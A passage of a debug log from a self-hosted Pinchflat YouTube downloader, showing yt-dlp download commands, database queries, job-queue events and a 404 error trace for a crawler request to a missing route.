jpg --output /config/metadata/media_items/86/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/16/c4/16c427f24915447b8b2c381a4e1920acac7d5e259f508937c0551abc83faf102.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:22:03.959 [debug] QUERY OK db=0.1ms idle=1896.5ms begin [] 22:22:03.959 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "subtitle_filepaths" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:22:00Z], "/downloads/TADC/2026-03-20 THE AMAZING DIGITAL CIRCUS - Ep 8: hjsakldfhl/THE AMAZING DIGITAL CIRCUS - Ep 8: hjsakldfhl [DMNlzf8PiEM].mp4", [["en", "/downloads/TADC/2026-03-20 THE AMAZING DIGITAL CIRCUS - Ep 8: hjsakldfhl/THE AMAZING DIGITAL CIRCUS - Ep 8: hjsakldfhl [DMNlzf8PiEM].en.vtt"]], ~U[2026-03-28 02:22:03Z], 86] 22:22:03.960 [debug] QUERY OK source="media_metadata" db=0.3ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/86/metadata.json.gz", "/config/metadata/media_items/86/thumbnail.jpg", 86, ~U[2026-03-28 02:22:03Z], ~U[2026-03-28 02:22:03Z]] 22:22:03.960 [debug] QUERY OK db=0.1ms commit [] 22:22:03.961 [debug] QUERY OK source="media_items" db=0.4ms idle=1898.4ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [398186022, ~U[2026-03-28 02:22:03Z], 86] 22:22:03.961 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:22:03.961 [info] {"args":{"id":86},"id":84,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":134493950,"event":"job:stop","queue_time":5461467341,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:22:03.962 [debug] QUERY OK source="tasks" db=0.3ms idle=103.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:22:03.962 [debug] QUERY OK source="tasks" db=0.3ms queue=0.1ms idle=1105.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:22:03.962 [debug] QUERY OK source="media_items" db=0.2ms idle=2.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [87] 22:22:03.963 [debug] QUERY OK source="media_items" db=0.4ms idle=1.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [87] 22:22:03.967 [info] {"args":{"id":88},"id":87,"meta":{},"system_time":1774664523967630052,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:22:03.968 [debug] QUERY OK source="media_items" db=0.2ms idle=5.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [88] 22:22:03.968 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:22:03.968 [debug] QUERY OK source="tasks" db=0.6ms idle=5.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:22:03.968 [debug] QUERY OK source="tasks" db=0.7ms idle=4.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:22:03.968 [debug] QUERY OK source="sources" db=0.3ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:03.968 [debug] QUERY OK source="media_items" db=0.2ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [87, 88] 22:22:03.969 [debug] QUERY OK source="media_profiles" db=0.5ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:03.969 [debug] QUERY OK source="media_items" db=0.5ms idle=0.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [87, 88] 22:22:03.969 [debug] QUERY OK source="media_items" db=0.0ms idle=0.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [88] 22:22:03.969 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [88] 22:22:03.969 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:03.970 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:03.970 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:03.970 [debug] Running yt-dlp command for action: get_downloadable_status 22:22:03.970 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:03.970 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:03.970 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:03.970 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LqQ-Z-kIRLM --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/a0/ec/a0ec318b29e96fe87f43b1c61f535b81bff82dbc857f24116a228038c0db4801.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:22:06.267 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LqQ-Z-kIRLM --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/a0/ec/a0ec318b29e96fe87f43b1c61f535b81bff82dbc857f24116a228038c0db4801.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:22:06.267 [debug] Running yt-dlp command for action: download 22:22:06.267 [debug] QUERY OK source="settings" db=0.1ms idle=1204.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:06.267 [debug] QUERY OK source="settings" db=0.0ms idle=1204.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:06.267 [debug] QUERY OK source="settings" db=0.1ms idle=1205.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:06.267 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LqQ-Z-kIRLM --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/6e/a7/6ea76b181f88f242217645a7b293274650622ae805a40b13b3fbd54a979d6adf.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:22:28.877 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:29.620 [info] GET /sources/1/media/110/force_download 22:22:29.621 [debug] QUERY OK source="settings" db=0.2ms idle=1558.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:29.621 [debug] QUERY OK source="settings" db=0.1ms idle=1559.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:29.622 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:22:29.622 [error] #PID<0.4726.0> running PinchflatWeb.Endpoint (connection #PID<0.4725.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/1/media/110/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/110/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4725.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/110/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 44036}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/110", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU" }, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.4726.0>, params: %{}, path_info: ["sources", "1", "media", "110", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/1/media/110"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/1/media/110/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDgAVuXXAa4xJQAATKC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4725.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/110/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 44036}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/110", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/110/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4725.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/110/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 44036}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/110", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", bo (truncated) 22:22:58.879 [info] {"source":"oban","duration":1138,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:00.661 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:23:26.045 [debug] HANDLE EVENT "reload_page" in Pinchflat.Pages.HistoryTableLive Parameters: %{"value" => ""} 22:23:26.045 [debug] QUERY OK source="media_items" db=0.4ms idle=1982.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:23:26.046 [debug] QUERY OK source="media_items" db=0.6ms idle=1983.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:23:26.047 [debug] QUERY OK source="sources" db=0.1ms idle=1984.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:26.047 [debug] Replied in 2ms 22:23:27.416 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 22:23:27.416 [debug] QUERY OK source="media_items" db=0.4ms idle=1353.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN 